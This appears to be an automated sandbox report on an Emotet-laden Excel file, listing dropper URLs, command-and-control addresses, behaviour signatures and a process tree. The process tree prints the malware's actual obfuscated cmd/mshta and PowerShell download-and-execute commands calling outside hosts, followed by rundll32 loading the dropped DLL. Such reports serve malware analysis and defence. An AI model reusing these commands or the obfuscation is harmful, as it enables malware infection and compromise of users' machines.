Analysis

  • max time kernel
    148s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    20/01/2022, 19:16

General

  • Target
    dbec7c9243ac15b3a8a655df66c73b36.xls
  • Size 142KB
  • Sample220120-xyssvsbcbk
  • SHA256 a2f32b5bfd78eeee7b3d4d44b4da8c8aeb98ab866a7998e2adaabc80cd1247a4
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://0xb907d607/fer/fer.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://185.7.214.7/fer/fer.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 131.100.24.231:80

  • 209.59.138.75:7080

  • 103.8.26.103:8080

  • 51.38.71.0:443

  • 212.237.17.99:8080

  • 79.172.212.216:8080

  • 207.38.84.195:8080

  • 104.168.155.129:8080

  • 178.79.147.66:8080

  • 46.55.222.11:443

  • 103.8.26.102:8080

  • 192.254.71.210:443

  • 45.176.232.124:443

  • 203.114.109.124:443

  • 51.68.175.8:8080

  • 58.227.42.236:80

  • 45.142.114.231:8080

  • 217.182.143.207:443

  • 178.63.25.185:443

  • 45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\dbec7c9243ac15b3a8a655df66c73b36.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:960
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:468
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1944
        • C:\Windows\SysWOW64\mshta.exe
          mshta http://0xb907d607/fer/fer.html
          3⤵
          • Blocklisted process makes network request
          • Modifies Internet Explorer settings
          • Suspicious use of WriteProcessMemory
          PID:1748
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1060
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1348
              • C:\Windows\SysWow64\rundll32.exe
                C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
                6⤵
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:1300
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                  7⤵
                  • Loads dropped DLL
                  • Drops file in System32 directory
                  • Suspicious use of WriteProcessMemory
                  PID:1156
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Codngjepxc\fgfqlqv.buz",eWSvZXKcj
                    8⤵
                    • Suspicious use of WriteProcessMemory
                    PID:948
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Codngjepxc\fgfqlqv.buz",DllRegisterServer
                      9⤵
                      • Blocklisted process makes network request
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1660

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          memory/468-59-0x000007FEFC261000-0x000007FEFC263000-memory.dmp

          memory/948-93-0x00000000002A0000-0x00000000002C6000-memory.dmp

          memory/960-116-0x000000005FFF0000-0x0000000060000000-memory.dmp

          memory/960-56-0x0000000071961000-0x0000000071963000-memory.dmp

          memory/960-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

          memory/960-58-0x00000000769D1000-0x00000000769D3000-memory.dmp

          memory/960-55-0x000000002F2E1000-0x000000002F2E4000-memory.dmp

          memory/1060-64-0x0000000002222000-0x0000000002224000-memory.dmp

          memory/1060-63-0x0000000002221000-0x0000000002222000-memory.dmp

          memory/1060-62-0x0000000002220000-0x0000000002221000-memory.dmp

          memory/1156-78-0x0000000000360000-0x0000000000386000-memory.dmp

          memory/1156-82-0x00000000022C0000-0x00000000022E6000-memory.dmp

          memory/1156-84-0x0000000002370000-0x0000000002396000-memory.dmp

          memory/1156-86-0x0000000002720000-0x0000000002746000-memory.dmp

          memory/1156-88-0x0000000002780000-0x00000000027A6000-memory.dmp

          memory/1156-80-0x0000000000970000-0x0000000000996000-memory.dmp

          memory/1156-91-0x0000000002840000-0x0000000002866000-memory.dmp

          memory/1300-71-0x0000000000260000-0x0000000000286000-memory.dmp

          memory/1660-100-0x00000000008F0000-0x0000000000916000-memory.dmp

          memory/1660-98-0x00000000003F0000-0x0000000000416000-memory.dmp

          memory/1660-106-0x0000000002760000-0x0000000002786000-memory.dmp

          memory/1660-108-0x00000000027C0000-0x00000000027E6000-memory.dmp

          memory/1660-110-0x0000000002960000-0x0000000002986000-memory.dmp

          memory/1660-112-0x0000000002A60000-0x0000000002A86000-memory.dmp

          memory/1660-115-0x0000000002B00000-0x0000000002B26000-memory.dmp

          memory/1660-114-0x0000000002B01000-0x0000000002B23000-memory.dmp

          memory/1660-96-0x0000000000390000-0x00000000003B6000-memory.dmp

          memory/1660-117-0x0000000002930000-0x0000000002956000-memory.dmp